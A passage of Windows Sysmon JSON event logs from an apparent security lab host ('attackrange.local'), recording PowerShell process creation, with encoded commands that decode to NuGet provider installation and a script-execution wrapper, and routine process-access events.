WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyAAoASQBuAHMAdABhAGwAbAAtAFAAYQBjAGsAYQBnAGUAUAByAG8AdgBpAGQAZQByACAALQBOAGEAbQBlACAATgB1AEcAZQB0ACAALQBNAGkAbgBpAG0AdQBtAFYAZQByAHMAaQBvAG4AIAAyAC4AOAAuADUALgAyADAAMQAgAC0ARgBvAHIAYwBlAA==\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413A-5F2D-0000-00201E0A0600}\r\nLogonId: 0x60A1E\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-413A-5F2D-0000-0010CB190600}\r\nParentProcessId: 4256\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.251","ProcessGuid":"{90617006-413C-5F2D-0000-0010D6340600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyAAoASQBuAHMAdABhAGwAbAAtAFAAYQBjAGsAYQBnAGUAUAByAG8AdgBpAGQAZQByACAALQBOAGEAbQBlACAATgB1AEcAZQB0ACAALQBNAGkAbgBpAG0AdQBtAFYAZQByAHMAaQBvAG4AIAAyAC4AOAAuADUALgAyADAAMQAgAC0ARgBvAHIAYwBlAA==","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413A-5F2D-0000-00201E0A0600}","LogonId":"0x60a1e","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-413A-5F2D-0000-0010CB190600}","ParentProcessId":"4256","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4416,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010CB190600}\r\nSourceProcessId: 4256\r\nSourceThreadId: 4564\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010D6340600}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|UNKNOWN(00007FF8EA438890)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010CB190600}","SourceProcessId":"4256","SourceThreadId":"4564","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010D6340600}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|UNKNOWN(00007FF8EA438890)","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4417,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010D6340600}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010D6340600}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4418,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4419,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4420,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4421,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4422,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 